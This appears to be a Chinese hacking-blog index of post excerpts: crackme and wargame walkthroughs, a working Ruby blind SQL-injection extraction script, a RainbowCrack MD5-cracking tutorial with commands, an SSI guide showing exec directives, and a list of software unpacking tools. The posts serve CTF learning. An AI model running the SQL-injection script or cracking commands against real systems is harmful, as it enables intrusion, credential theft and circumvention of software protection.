[+/-] : [教學] CrackIt 16: "Get the number!"

首先, 題目有提示是VB程式, 先用VB-Decompiler掃過

Private Sub Command1_Click() '4058B0

看到這個function裡面的
loc_0040592D: Form1.Unknown_405A60(arg_8, eax, Form1.QueryInterface, eax+03h, "")

用ollydbg追進去


這段很明顯是在判斷數字正確性, 錯誤的話會跳到00405b02

所以就下幾個數字進去測試

發現, 全部數字加起來必須為16h, 且確定的位數為 4__09, 10次內搞定: )...
read more

[+/-] : [教學] Exploit 17: "RHC 6"

一開始進去，看到有連結Part1、Part2就點一下

發現網址變成http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=1

想說猜猜有沒有Part3可以看，於是輸入
http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=3

這時出現Warning
Warning: file_get_contents(/www/htdocs/v096861//challenges/exploit_rhc6/exploit/exploit3.tut): failed to open stream: No such file or directory in /www/htdocs/v096861/challenges/exploit_rhc6/libs/funclib.lib on line 12

看到這個，二話不說直接連結
http://www.bright-shadows.net/challenges/exploit_rhc6/libs/funclib.lib

噹噹噹，出現可愛的php程式碼，其中看到一行
if ($expid=='xid8bix') {

這邊也就不跟他客氣，連就對了！
http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=xid8bix

噹噹噹x2，admin Login 的控制面板就出現拉
這時候就要輸入密碼，回到剛剛的funclib.lib
發現帳密還有encrypt!
因為一開始有include('crypt04.php');
連過去是一片空白，而 function 內的連結
http://www.bright-shadows.net/challenges/exploit_rhc6/suser/admin.php
連過去也跳回原本的網頁
只好硬著頭皮解密!!

提示: h...
read more

[+/-] : Windows 資料夾權限加密解除辦法

作者 koukai (有一天, 我們會發現)　　　　　　　　　　站內 G-kisscomp
標題 Re: 有問題~~
時間 2007/12/15 Sat 19:19:00

如果是權限問題不讓你開的話，解決方法如下：

重新取得資料夾擁有權的方法：

Step 1.
　首先，WIN-XP必須是PRO版的，因為PRO版才有支援[安全性]設定

Step 2.
　檔案總管，[工具] - [資料夾選項] - [檢視]
　[使用簡易檔案共用]，把這個項目"取消勾選"，按[確定]

Step 3.
　再來，於要取得擁有權的資料夾，按滑鼠右鍵選[內容]
　會發現多了一個 [安全性] 的設定頁面

Step 4.
　[安全性] - [進階]
　[從父項繼承套用到子物件的全項項目....]，取消打勾，按[套用]
　會問，要[複製]還是[移除]？，建議選[複製]
　註:他只問我有沒有要移除 我選是

　切到[擁有者]頁面，新增本機帳號
　例如：Administrator(HOST NAME/Administrator)

　底下[取代子物件與容器的擁有者]，打勾，按[套用]

Step 5.
　OK！大公告成，已經取得該資料夾的所有權限，可以作[完全控制]了

--
※ Origin: 成功大學資訊工程學系[醉資心BBS]

...
read more

消息來源

[+/-] : [Ruby] MySQL Brute Force Attack & [教學]Exploit 21: "SQL-Injection 2"

# Author      : mashimaro
# Last Modify : 2007/12/11

require 'net/http'
require 'net/https'

host = 'www.host_url.com'
path = '/exploits_path/index2.php?login=user'
cookie = 'PHPSESSID=***********************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
 'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

cmd = 'password';
appear_str = 'Steven Baker';

len = 0;

if(len > 0)
print 'len = ' + len.to_s;
else
len = 1;
print 'len = 1';
# Step 1. 判斷回傳長度
while(1)
 resp, data = http.get(path + '\'%20and%20length(' + cmd + ')>=' + (len + 1).to_s + '--\'', 

headers)
 break if(!data.index(appear_str));
 print 8.chr * len.to_s.length;
 len = len + 1;
 print len.to_s;
end
end


puts '';
i = 1;
print 'str = ';

# Step 2. 找出字串
while(i <= len)  print 80.chr;  resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=80--\'', 

headers);
if(data.index(appear_str))
 min = 80;
 max = 127;
else
 min = 32;
 max = 79;
end

while(min != max)
 mid = ((min + max + 1) / 2).to_i;
 print 8.chr;
 print mid.chr;
 str = '  [' + min.to_s + ' ' + mid.to_s + ' ' + max.to_s + ']';
 print str;
 resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=' +

mid.to_s + '--\'',  headers);
 if(data.index(appear_str))
   min = mid;
 else
  max = mid - 1;
end
 if(min > max)
  puts 'error: min > max';
  exit(0);
 end
 print (8.chr) * str.length + ' ' * str.length + (8.chr) * str.length;
end

print 8.chr + min.chr;

i = i + 1;
end

puts "\r\n\r\n" + 'sql brute force search done!!';

...
read more

[+/-] : [Hacker] RainbowCrack

rainbowcrack 是一個多功能的密碼破解軟件。

它不僅能夠破解windows密碼，

同時也是雜亂算法加密的破解利器。

比如可以破解im,md5,sha1,customizable等

其它的加密方式破解也可以很容易地添加到該軟件中。

軟件同時支持windows和linux系統

而且在一個系統上生成的表單可以直接轉換到另一種系統上使用

用它來破解md5密碼，數分鐘即可讓十位數內與字符密碼還原，

它的功能雖然強大，但是在使用時卻是比較複雜的，因此我要詳細的介紹一番

第一步：

生成表單文件

下載來的軟件壓縮包中有幾個執行程序，。

我們在破解md5密碼時，要用到的是前兩個可執行文件，是rcrack.exe rtgen.exe

其中的"rtgen.exe"程序就是用來生成包含預設密碼表單文件的

表單文件中有許多大量的md5加密密文，rainbowcrack的原理不是暴力破解

而是通過查詢預先做好的密碼與密文一一對應的文件來快速破解密。優點是速度快，

缺點是生成的文件非常大，

在命令提示符窗口中，運行"rtgen.exe"命令

也可以輸入cmd在那裡面，找到，你解壓縮文件的路徑，然後運行

由於rainbowcrack是一個多功能的密碼破解器，因此提示信息比較複雜，

我們只需破解md5密碼，在這裡可以按下面的格式生成md5密碼表單：

"rtgen md5 byte 1 7 5 2400 40000 all";

命令執行後，提示"generateing...."正在生成密碼文件

其中"md5"參數指定生成md5表單。

如果是破解windows密碼之類的，還可以使用相應的"lm/sha1"參數

詳細的，可以看幫助文件。

"byte"參數用來指定生成密碼表單中所包含的明密類型為所有字符和數字

如果想破解的是純數字密碼或是純字符密碼。

可以將其改為相應的"numeric"或"alpha"參數

具體的參數可見目錄下"charset.txt"文件

其中1和7分別代表密碼最小和最大長度

2400代表每個表單文件中密碼串的長度

數字5用來表示生成表單文件的數目

而40000則代表每個表單文件中的密碼數目

後面這兩個數目越大，生成表單文件的速度越慢

但是表單文件中的密碼就越多。

相應的破解速度也會越快

命令執行後，提示"generateing...."正在生成密碼文件

執行完畢後。就會在當前目錄下生成5個文件名類似為"md5_byte#1-7_5_2004X40000_all.rt"的文件

其中"all"是我們剛才在生成命令中指定用來添加標識文件的參數

有點慢.我們先繼續(這是剛才生成的表單文件)

第二步：

瞬間破解密碼

生成密碼表單文件後，就可以利用"rcrack.exe"文件來查詢表單文件，

快速破解出指定的密碼了。

直接執行命令後，即可看到程序使用幫助

從幫助信息中，我們可以看到能對單個md5密文件進行破解

也可以一次破解多個密文。

當我們要破解單個md5密碼時，可以使用"-h"參數來指定要破解的密文，

假設這裡要破解密文為"49ba59abbe56e057"可以輸入如下命令

"rcrack *.rt -h 49ba59abbe56e057";

其中"*.rt"參數表示查詢當前目錄下所有密碼表單文件。

如果密碼表單文件製作 得好

命令執行後很快就可以從這些表單文件中找到要還原後的密碼明文了

如果要一次破解多個密碼。首先打開記事本。

將所有待破解的密碼按行輸入

保存為一個沒有後綴的文件中。

這裡文件名為"mima"然後執行命令：

"rcrack *.rt -l mama";

程序將會查詢所有的表單文件，並將其與待破解密碼文件中的密文一一對比，很快就可以將大部分的密碼破
解出來了

提示一下：rainbowcrack軟件可以說是md5密碼的剋星。我們完全可以在平時電腦不工作時，利用相當長的時間來生成個比較大的密碼表單文件庫...
read more

[+/-] : [Hacker] SHTML - SSI 技術

SHTML說明由任搏軟 @ cnblogs轉錄，特此感謝。

使用SSI (Server Side Include)技術

想要找到既富有創意的平面設計人員，又有腳本開發經驗的人員，實在是太難了。而如果一個百分之百的頁面都是php腳本的網站，將為頁面維護帶來非常大的困難。而且使用了php的自動加頭和加尾的方法，使得幾乎所有頁面都是語義不完整的，不能借助任何一款頁面設計工具工作，是另一個弊病。

利用SSI技術，可以有效的將HTML網頁和CGI腳本邏輯上分開，也可以將重複的HTML元素抽象和獨立出來，減輕維護負擔。

Basic SSI directives Syntax

<!--#element attribute=value attribute=value ... -->

插入程式碼
<!--#exec cmd="ls"-->

Today's date
<!--#config timefmt="%Y/%m/%d %a %H:%M:%S" -->
Today is <!--#echo var="DATE_LOCAL" -->

*

Modification date of the file

This document last modified <!--#flastmod file="index.html" -->

*

Including the results of a CGI program

<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include virtual="/cgi-bin/example.cgi?argument=value" -->

You can use "#exec cgi=" directive, but it can be disabled using the IncludesNOEXEC Option.
*

Including a standard footer

<!--#include virtual="/footer.html" -->

*

Executing commands

<!--#exec cmd="ls" -->

This feature is dangerous. You can allow SSI, but not the exec feature, with the IncludesNOEXEC argument to the Options directive.
*

Setting variables

<!--#set var="modified" value="$LAST_MODIFIED" -->
<!--#set var="date" value="${DATE_LOCAL}_${DATE_GMT}" -->

*

Conditional expressions

<!--#if expr="test_condition" -->
<!--#elif expr="test_condition" -->
<!--#else -->
<!--#endif -->

1、Config命令

　　Config命令主要用於修改SSI的默認設置。其中：

　　Errmsg：設置默認錯誤信息。為了能夠正常的返回用戶設定的錯誤信息，在HTML文件中Errmsg參數必須被放置在其它SSI命令的前面，否則客戶端只能顯示默認的錯誤信息，而不是由用戶設定的自定義信息。

　　　　<!--#config errmsg="Error! Please email webmaster@mydomain.com -->

　　Timefmt：定義日期和時間的使用格式。Timefmt參數必須在echo命令之前使用。

　　　　<!--#config timefmt="%A, %B %d, %Y"-->
　　　　<!--#echo var="LAST_MODIFIED" -->

　　顯示結果為：

　　　　Wednesday, April 12, 2000

　　也許用戶對上例中所使用的%A %B %d感到很陌生，下面我們就以表格的形式總結一下SSI中較為常用的一些日期和時間格式。 www.domain.com

　　Sizefmt：決定文件大小是以字節、千字節還是兆字節為單位表示。如果以字節為單位，參數值為"bytes"；對於千字節和兆字節可以使用縮寫形式。同樣，sizefmt參數必須放在fsize命令的前面才能使用。

　　　　<!--#config sizefmt="bytes" -->
　　　　<!--#fsize file="index.html" -->

　　2、Include命令

　　Include命令可以把其它文檔中的文字或圖片插入到當前被解析的文檔中，這是整個SSI的關鍵所在。通過Include命令只需要改動一個文件就可以瞬間更新整個站點！

　　Include命令具有兩個不同的參數：

　　Virtual：給出到服務器端某個文檔的虛擬路徑。例如：

　　　　<!--#include virtual="/includes/header.html" -->

　　File：給出到當前目錄的相對路徑，其中不能使用"../"，也不能使用絕對路徑。例如：

　　　　<!--#include file="header.html" -->

　　這就要求每一個目錄中都包含一個header.html文件。

　　3、Echo命令

　　Echo命令可以顯示以下各環境變量：

　　DOCUMENT_NAME：顯示當前文檔的名稱。

　　　　<!--#echo var="DOCUMENT_NAME" -->

顯示結果為：

　　　　index.html

　　DOCUMENT_URI：顯示當前文檔的虛擬路徑。例如：

　　　　<!--#echo var="DOCUMENT_URI" -->

　　顯示結果為：

　　　　/YourDirectory/YourFilename.html

　　隨著網站的不斷發展，那些越來越長的URL地址肯定會讓人頭疼。如果使用SSI，一切就會迎刃而解。

另外一個關於apache中ssi技術的教程可以查閱：

Apache指南：服務器端包含入門
http://www.kreny.com/doc/apache2.0/howto/ssi.html

參考網頁

http://www.worldhello.net/doc/website_howto/ssi.html

http://www.7880.com/Info/Article-2f11dda0.html

http://www.carleton.ca/~dmcfet/html/ssi.html

http://www.dizign.de/ssi/...
read more

[+/-] : [Hacker] 常用脫殼工具

由網路攻防戰: 常用脫殼工具轉錄，特此感謝。

1、文件分析工具（偵測殼的類型）：Fi，GetTyp，peid，pe-scan

2、OEP入口查找工具：SoftICE，TRW，ollydbg，loader，peid

3、dump工具：IceDump，TRW，PEditor，ProcDump32，LordPE

4、PE文件編輯工具：PEditor，ProcDump32，LordPE

5、重建Import Table工具：ImportREC，ReVirgin

6、ASProtect脫殼專用工具：Caspr（ASPr V1.1-V1.2有效），Rad（只對ASPr V1.1有效），loader，peid

##CONTINUE##

（1）Aspack： 用的最多，但只要用UNASPACK或PEDUMP32脫殼就行了。

（2）ASProtect + aspack：次之，國外的軟件多用它加殼，脫殼時需要用到SOFTICE+ICEDUMP，需要一定的專業知識。

（3）Upx： 可以用UPX本身來脫殼，但要注意版本是否一致，用-D 參數

（4）Armadill： 可以用SOFTICE+ICEDUMP脫殼，比較煩

（5）Dbpe： 國內比較好的加密軟件，新版本暫時不能脫，但可以破解

（6）NeoLite： 可以用自己來脫殼

（7）Pcguard： 可以用SOFTICE+ICEDUMP+FROGICE來脫殼

（8）Pecompat： 用SOFTICE配合PEDUMP32來脫殼，但不要專業知識

（9）Petite： 有一部分的老版本可以用PEDUMP32直接脫殼，新版本脫殼時需要用到SOFTICE+ICEDUMP，需要一定的專業知識

（10）WWpack32： 和PECOMPACT一樣其實有一部分的老版本可以用PEDUMP32直接脫殼，不過有時候資源無法修改，也就無法漢化，所以最好還是用SOFTICE配合 PEDUMP32脫殼　　

 

常見的殼脫法：

（一）aspack殼 脫殼可用unaspack或caspr 1.unaspack ，執行後選取待脫殼的軟體即可。 缺點：只能脫aspack早些時候版本的殼，不能脫高版本的殼 。

（二）upx殼 脫殼可用upx待脫殼的軟體（如aa.exe）和upx.exe位於同一目錄下，執行windows 開始功能表的執行，輸入upx -d aa.exe。

（三）PEcompact殼 脫殼用unpecompact ，執行後選取待脫殼的軟體即可。

（四）procdump 萬能脫殼但不精，一般很少用。使用方法：運行後，先指定殼的名稱，再選定欲脫殼軟件，確定即可脫殼後的檔大於原文件由於脫殼軟件很成熟，手動脫殼一般用不到。

...
read more